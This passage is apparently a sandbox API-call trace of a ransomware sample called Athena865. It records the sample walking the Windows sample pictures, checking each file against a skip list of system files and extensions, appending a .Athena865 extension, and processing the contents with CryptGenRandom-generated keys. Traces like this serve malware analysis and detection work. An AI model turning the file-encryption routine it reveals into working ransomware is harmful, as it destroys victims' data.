dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0104.553] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0104.553] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.553] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x91860, lpName=0x0) returned 0x154 [0104.554] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x91860) returned 0x2d50000 [0104.580] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0104.581] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0104.581] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0104.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0104.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x549d40 [0104.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0104.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x549d40 | out: hHeap=0x4f0000) returned 1 [0104.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0104.581] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x549d40 [0104.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0104.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x549d40 | out: hHeap=0x4f0000) returned 1 [0104.581] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0104.581] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0104.589] CloseHandle (hObject=0x154) returned 1 [0104.589] CloseHandle (hObject=0x17c) returned 1 [0104.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0104.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0104.589] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0104.591] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Jellyfish.jpg", cAlternateFileName="JELLYF~1.JPG")) returned 1 [0104.591] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0104.591] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0104.591] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2=".") returned 1 [0104.591] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="..") returned 1 [0104.591] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="windows") returned -1 [0104.591] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="bootmgr") returned 1 [0104.591] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="temp") returned -1 [0104.591] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="pagefile.sys") returned -1 [0104.591] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="boot") returned 1 [0104.592] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="ids.txt") returned 1 [0104.592] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="ntuser.dat") returned -1 [0104.592] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="perflogs") returned -1 [0104.592] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2="MSBuild") returned -1 [0104.592] lstrlenW (lpString="Jellyfish.jpg") returned 13 [0104.592] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Jellyfish.jpg" | out: lpString1="Jellyfish.jpg") returned="Jellyfish.jpg" [0104.592] lstrlenW (lpString="Jellyfish.jpg") returned 13 [0104.592] lstrlenW (lpString="Athena865") returned 9 [0104.592] lstrcmpiW (lpString1="yfish.jpg", lpString2="Athena865") returned 1 [0104.592] lstrlenW (lpString=".dll") returned 4 [0104.592] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2=".dll") returned 1 [0104.592] lstrlenW (lpString=".lnk") returned 4 [0104.592] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2=".lnk") returned 1 [0104.592] lstrlenW (lpString=".ini") returned 4 [0104.592] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2=".ini") returned 1 [0104.592] lstrlenW (lpString=".sys") returned 4 [0104.592] lstrcmpiW (lpString1="Jellyfish.jpg", lpString2=".sys") returned 1 [0104.592] lstrlenW (lpString="Jellyfish.jpg") returned 13 [0104.592] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.Athena865") returned 81 [0104.592] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\jellyfish.jpg"), lpNewFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\jellyfish.jpg.athena865"), dwFlags=0x1) returned 1 [0104.594] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\jellyfish.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0104.594] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=775702) returned 1 [0104.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0104.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0104.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0104.594] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0104.595] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0104.595] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.595] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbd920, lpName=0x0) returned 0x154 [0104.597] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbd920) returned 0x2d50000 [0104.628] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0104.628] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0104.628] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0104.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0104.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0104.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0104.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0104.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0104.629] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0104.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0104.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0104.629] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0104.629] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0104.636] CloseHandle (hObject=0x154) returned 1 [0104.636] CloseHandle (hObject=0x17c) returned 1 [0104.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0104.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0104.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0104.639] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Koala.jpg", cAlternateFileName="")) returned 1 [0104.639] lstrcmpiW (lpString1="Koala.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0104.639] lstrcmpiW (lpString1="Koala.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0104.639] lstrcmpiW (lpString1="Koala.jpg", lpString2=".") returned 1 [0104.639] lstrcmpiW (lpString1="Koala.jpg", lpString2="..") returned 1 [0104.639] lstrcmpiW (lpString1="Koala.jpg", lpString2="windows") returned -1 [0104.639] lstrcmpiW (lpString1="Koala.jpg", lpString2="bootmgr") returned 1 [0104.639] lstrcmpiW (lpString1="Koala.jpg", lpString2="temp") returned -1 [0104.639] lstrcmpiW (lpString1="Koala.jpg", lpString2="pagefile.sys") returned -1 [0104.639] lstrcmpiW (lpString1="Koala.jpg", lpString2="boot") returned 1 [0104.639] lstrcmpiW (lpString1="Koala.jpg", lpString2="ids.txt") returned 1 [0104.639] lstrcmpiW (lpString1="Koala.jpg", lpString2="ntuser.dat") returned -1 [0104.639] lstrcmpiW (lpString1="Koala.jpg", lpString2="perflogs") returned -1 [0104.639] lstrcmpiW (lpString1="Koala.jpg", lpString2="MSBuild") returned -1 [0104.639] lstrlenW (lpString="Koala.jpg") returned 9 [0104.639] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Koala.jpg" | out: lpString1="Koala.jpg") returned="Koala.jpg" [0104.640] lstrlenW (lpString="Koala.jpg") returned 9 [0104.640] lstrlenW (lpString="Athena865") returned 9 [0104.640] lstrlenW (lpString=".dll") returned 4 [0104.640] lstrcmpiW (lpString1="Koala.jpg", lpString2=".dll") returned 1 [0104.640] lstrlenW (lpString=".lnk") returned 4 [0104.640] lstrcmpiW (lpString1="Koala.jpg", lpString2=".lnk") returned 1 [0104.640] lstrlenW (lpString=".ini") returned 4 [0104.640] lstrcmpiW (lpString1="Koala.jpg", lpString2=".ini") returned 1 [0104.640] lstrlenW (lpString=".sys") returned 4 [0104.640] lstrcmpiW (lpString1="Koala.jpg", lpString2=".sys") returned 1 [0104.640] lstrlenW (lpString="Koala.jpg") returned 9 [0104.640] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Koala.jpg.Athena865") returned 77 [0104.640] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\koala.jpg"), lpNewFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Koala.jpg.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\koala.jpg.athena865"), dwFlags=0x1) returned 1 [0104.641] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Koala.jpg.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\koala.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0104.641] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=780831) returned 1 [0104.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0104.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0104.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0104.641] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0104.642] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0104.642] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.642] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbed20, lpName=0x0) returned 0x154 [0104.644] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbed20) returned 0x2d50000 [0104.670] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0104.670] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0104.670] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0104.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0104.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0104.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0104.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0104.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0104.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0104.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0104.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0104.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0104.672] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0104.680] CloseHandle (hObject=0x154) returned 1 [0104.680] CloseHandle (hObject=0x17c) returned 1 [0104.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0104.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0104.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0104.683] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Lighthouse.jpg", cAlternateFileName="LIGHTH~1.JPG")) returned 1 [0104.683] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0104.683] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0104.683] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2=".") returned 1 [0104.683] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="..") returned 1 [0104.683] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="windows") returned -1 [0104.683] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="bootmgr") returned 1 [0104.683] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="temp") returned -1 [0104.683] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="pagefile.sys") returned -1 [0104.683] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="boot") returned 1 [0104.684] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="ids.txt") returned 1 [0104.684] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="ntuser.dat") returned -1 [0104.684] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="perflogs") returned -1 [0104.684] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2="MSBuild") returned -1 [0104.684] lstrlenW (lpString="Lighthouse.jpg") returned 14 [0104.684] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Lighthouse.jpg" | out: lpString1="Lighthouse.jpg") returned="Lighthouse.jpg" [0104.684] lstrlenW (lpString="Lighthouse.jpg") returned 14 [0104.684] lstrlenW (lpString="Athena865") returned 9 [0104.684] lstrcmpiW (lpString1="house.jpg", lpString2="Athena865") returned 1 [0104.684] lstrlenW (lpString=".dll") returned 4 [0104.684] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2=".dll") returned 1 [0104.684] lstrlenW (lpString=".lnk") returned 4 [0104.684] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2=".lnk") returned 1 [0104.684] lstrlenW (lpString=".ini") returned 4 [0104.684] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2=".ini") returned 1 [0104.684] lstrlenW (lpString=".sys") returned 4 [0104.684] lstrcmpiW (lpString1="Lighthouse.jpg", lpString2=".sys") returned 1 [0104.684] lstrlenW (lpString="Lighthouse.jpg") returned 14 [0104.684] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.Athena865") returned 82 [0104.684] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\lighthouse.jpg"), lpNewFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\lighthouse.jpg.athena865"), dwFlags=0x1) returned 1 [0104.687] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\lighthouse.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0104.688] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=561276) returned 1 [0104.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0104.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0104.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0104.688] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0104.689] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0104.689] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.689] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x89380, lpName=0x0) returned 0x154 [0104.691] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x89380) returned 0x2d50000 [0104.712] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0104.712] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0104.713] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0104.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0104.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0104.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0104.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0104.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0104.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0104.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0104.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0104.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0104.713] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0104.718] CloseHandle (hObject=0x154) returned 1 [0104.718] CloseHandle (hObject=0x17c) returned 1 [0104.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0104.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0104.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0104.722] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Penguins.jpg", cAlternateFileName="")) returned 1 [0104.722] lstrcmpiW (lpString1="Penguins.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0104.722] lstrcmpiW (lpString1="Penguins.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0104.722] lstrcmpiW (lpString1="Penguins.jpg", lpString2=".") returned 1 [0104.722] lstrcmpiW (lpString1="Penguins.jpg", lpString2="..") returned 1 [0104.722] lstrcmpiW (lpString1="Penguins.jpg", lpString2="windows") returned -1 [0104.722] lstrcmpiW (lpString1="Penguins.jpg", lpString2="bootmgr") returned 1 [0104.722] lstrcmpiW (lpString1="Penguins.jpg", lpString2="temp") returned -1 [0104.722] lstrcmpiW (lpString1="Penguins.jpg", lpString2="pagefile.sys") returned 1 [0104.722] lstrcmpiW (lpString1="Penguins.jpg", lpString2="boot") returned 1 [0104.722] lstrcmpiW (lpString1="Penguins.jpg", lpString2="ids.txt") returned 1 [0104.722] lstrcmpiW (lpString1="Penguins.jpg", lpString2="ntuser.dat") returned 1 [0104.722] lstrcmpiW (lpString1="Penguins.jpg", lpString2="perflogs") returned -1 [0104.722] lstrcmpiW (lpString1="Penguins.jpg", lpString2="MSBuild") returned 1 [0104.722] lstrlenW (lpString="Penguins.jpg") returned 12 [0104.722] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Penguins.jpg" | out: lpString1="Penguins.jpg") returned="Penguins.jpg" [0104.722] lstrlenW (lpString="Penguins.jpg") returned 12 [0104.722] lstrlenW (lpString="Athena865") returned 9 [0104.722] lstrcmpiW (lpString1="guins.jpg", lpString2="Athena865") returned 1 [0104.722] lstrlenW (lpString=".dll") returned 4 [0104.722] lstrcmpiW (lpString1="Penguins.jpg", lpString2=".dll") returned 1 [0104.722] lstrlenW (lpString=".lnk") returned 4 [0104.722] lstrcmpiW (lpString1="Penguins.jpg", lpString2=".lnk") returned 1 [0104.722] lstrlenW (lpString=".ini") returned 4 [0104.722] lstrcmpiW (lpString1="Penguins.jpg", lpString2=".ini") returned 1 [0104.722] lstrlenW (lpString=".sys") returned 4 [0104.722] lstrcmpiW (lpString1="Penguins.jpg", lpString2=".sys") returned 1 [0104.722] lstrlenW (lpString="Penguins.jpg") returned 12 [0104.723] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.Athena865") returned 80 [0104.723] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\penguins.jpg"), lpNewFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\penguins.jpg.athena865"), dwFlags=0x1) returned 1 [0104.723] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\penguins.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0104.724] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=777835) returned 1 [0104.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0104.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0104.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0104.724] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 